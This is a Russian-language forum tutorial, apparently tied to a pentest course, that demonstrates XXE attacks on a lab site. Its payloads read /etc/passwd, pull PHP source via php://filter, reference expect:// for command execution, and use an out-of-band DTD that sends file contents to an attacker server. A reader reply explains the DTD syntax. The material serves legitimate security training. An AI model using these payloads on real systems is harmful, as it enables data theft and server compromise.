Статья XXE уязвимости

1700410180365.png


Привет уважаемые форумчане!
Перед тем, как мы начнем рассматривать очень интересную и сложную тему, мне бы хотелось сказать несколько слов. Меня можно поздравить, я перестал быть куратором курса WAPT. Буду теперь помогать студентам посредством написания статей и других бесполезных опусов, которые, надеюсь помогут им в освоении материала курса. В ходе учебы кураторы периодически снабжают учеников дополнительной литературой или ссылками на полезные источники. Часто они разрозненные, противоречивые и что самое ужасное - на басурманском языке, где ничего не понятно. Вот я и решил все, что написано на этих ресурсах испытывать на практике на нашей лаборатории и делится этими исследованиями. Вполне возможно, я собираюсь заниматься х@#%&й, но даже если и так, это в любой момент можно бросить и просто отдыхать. А вдруг кому-то пригодится! Теперь перейду непосредственно к теме статьи.
XXE

Когда я проходил курс WAPT, эта тема оставила неизгладимый отпечаток на моем сознании и стоило приличного количества волос, выдранных из ж0#@, ну в общем вы поняли. Эта тема стала одной из тех, которые вызвали наибольшее количество боли и уничтожила большое количество нервных клеток. Попробуем сегодня вместе на простом примере разобраться с этим типом уязвимости.

XML External Entity (XXE) – это тип атаки, использующий уязвимости в анализаторах XML. При атаке XXE можно внедрить специально созданный XML-контент в приложение, которое его обрабатывает. XXE позволяет определять объекты на основе содержимого URL-адреса или пути к файлу. Когда сервер считывает внедренную нагрузку XML, он анализирует внешний объект, объединяет его с окончательным документом и возвращает его пользователю с конфиденциальными данными внутри.

Как правило к XXE уязвимы приложения без надлежащей валидации входных данных, а также без отключенной обработки внешних сущностей в синтаксическом анализаторе XML. Однако многие XML парсеры уже имеют защиту от XXE атак.​

ТИПЫ XXE

XXE атаки делятся на типы по принципу того, какой способ используется для доставки полезной нагрузки и какой импакт это несет атака при тестировании на проникновение. Существует 6 типов XXE атак:
1. Извлечение файлов – самое банальное применение, при котором мы можем извлекать файлы с целевого сервера
2. SSRF-Атаки – использование XXE-атак для выполнения атак типа SSRF(Server-Side Request Forgery)
3. Blind XXE – атака, при которой атакующий не получает ответ от сервера, с помощью которого можно понять уязвимо ли приложение к XXE-атакам
4. Инъекция через File Upload – атака, при которой атакующий загружает файл, содержащий XML компоненты
5. Billion Laughs – атака типа denial-of-service (DoS)
6. XInclude – атака с внедрением полезной нагрузки в оператор XInclude

Мы не будем рассматривать все эти варианты, пощупаем только то, что нам пригодится при решении практических задач на курсе, да и то не всех, а иначе это будет неинтересно.
Перейдем к практике. Мы имеем сайт, на котором написано, что он ждет XML.​

1700410390441.png

Изучим запрос к этому серверу. Запускаем Burp Suite и обновляем страницу, после чего смотрим перехваченный запрос.
1700410457679.png

Не видим ничего такого, что напоминало бы нам формат XML. Ничего удивительного, XML разметка отправляется методом POST. Меняем метод запроса, для чего загоняем его в Repiter и в меню выбираем Change request method

1700410548724.png

Теперь наш запрос имеет нужный метод, отправляем его
1700410680716.png

Упс! Приложение начинает наглеть и требует нужный тег. Ну и как нам его найти? Тот, кто обучается на курсе может посмотреть видео к уроку и написать несложный скрипт на Python, который сгенерирует нужную нагрузку, благодаря которой мы вычислим нужный тег. Но мы сегодня рассмотрим самый простой способ – фаззинг.

Отправляем наш запрос в Intruder. И добавляем в наш запрос следующую разметку:

<?xml version="1.0"?>
<§§>XXE</§§>


В качестве типа атаки выбираем Pitchfork, а в качестве словарей наш любимый directory-list-2.3-medium. Запускаем атаку и видим чудо. Надпись XXE прописалась в теге title. Значит через него и будем выводить нужную нам информацию.
1700410775404.png
Чтение файлов

Для начала попробуем вывести один из системных файлов, например, /etc/passwd. Для этого создадим сущность title и делаем так, чтобы она вернула нам значение файла:

<!DOCTYPE test [<!ENTITY title SYSTEM "file:///etc/passwd">]>
<title>&title;</title>

1700410857367.png

Класс!
Теперь хочу обратить ваше внимание на использование враппера file://. В принципе, в данном случае, мы могли его вообще не использовать и результат бы не поменялся:
1700410942865.png

В некоторых случаях он необходим. Не нужно забывать, что в этом случае нам нужно задать абсолютный путь. Без враппера файл будет открываться из текущей директории.

Без враппера
1700410991664.png

С враппером, без указания пути (Ничего нет)
1700411029188.png

С враппером, с указанием пути
1700411089543.png
Чтение файлов PHP

Если у нас есть нужда прочитать файл php, то здесь придется действовать несколько по-другому. Так как в коде php будет много всяких пробелов, тегов, переносов строк и прочей лабуды, мы не сможет прочитать его так, как рассмотрели выше. Например, файл index.php.
1700411278143.png

Поэтому воспользуемся враппером php://

php://filter/read=convert.base64-encode/resource=index.php

Здесь мы конвертируем содержимое файла в base64 и потом спокойно его раскодируем:
1700412088068.png


1700412179527.png
RCE

Выполнение удаленных команд осуществляется при помощи враппера expect://
Для демонстрации этого примера воспользуемся одной из задач с платформы codeby.games.
Как показано на скрине, команда id успешно выполнилась.
1700412268124.png
Out-of-band

Бывают ситуации, когда XXE есть, а ответа мы никакого не получаем. Допустим в нашем примере нет никакого ответа от сервера, но мы догадываемся, что уязвимость присутствует. Это может говорить о том, что присутствует слепая XXE.
Вот пример того, как Out-of-band можно использовать для обнаружения слепых XXE-атак:

Предположим, что атакующий отправляет XML-файл, содержащий ссылку внешней сущности на контролируемый им URL, следующим образом:

<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY title SYSTEM " ">]>
<title>&title;</title>


Здесь мы можем видеть, что мы не получаем никаких данных, но нам это и не нужно. Наша задача понять, что XXE-атака сработала, именно для этого мы ссылаемся на наш внешний сервер.
Если XXE-атака удалась, наш сервер получит отстук в виде GET запроса.
Для подобных целей нам не обязательно поднимать свой сервер, мы можем использовать Burp Collaborator, специальный инструмент Burp Suite, который нужен для отлова подобных слепых атак.
Сгенерируем ссылку в Burp Collaborator, вставим ее вместо , у нас получится следующее:

<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY title SYSTEM " ">]>
<title>&title;</title>


При отправке измененного запроса на сервер, тот начнет стучаться в наш Collaborator, в результате чего получаем отбивку о том, что запрос был, а значит XXE-атака сработала:
1700412447768.png

Запросы прошли, значит XXE сработала
Пробуем прочитать файл. Создаем файл xxe.dtd куда прописываем следующий код

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; getdata SYSTEM ' '>">
%eval;
%getdata;


А в запросе такую нагрузку

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM " "> %xxe;]>
1700412580478.png
Как видим, файл мы прочитали.
Ну вот в общем-то и все. До новых встреч!!!
 
Последнее редактирование:

boeng21

New member
26.02.2021
1
0
BIT
14
Объясните пожалуйста почему в некоторых случаях используются
foo, %, eval, &#x25?
 

Paladin

Red Team
10.10.2021
102
457
BIT
497
Объясните пожалуйста почему в некоторых случаях используются
foo, %, eval, &#x25?
Блин, нереально сложный вопрос. Я серьезно. Гуглить пробовали? Вот небольшая ссылочка, которая поможет понять некоторые моменты -

Вообще foo используют все программисты, это метапеременная. Здесь это имя типа документа.
% - объявление сущности
&#х25 - объявление сущности внутри другой сущности, по сути это % в URL кодировке
eval - это имя сущности
 
  • Нравится
Реакции: DmSmith
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!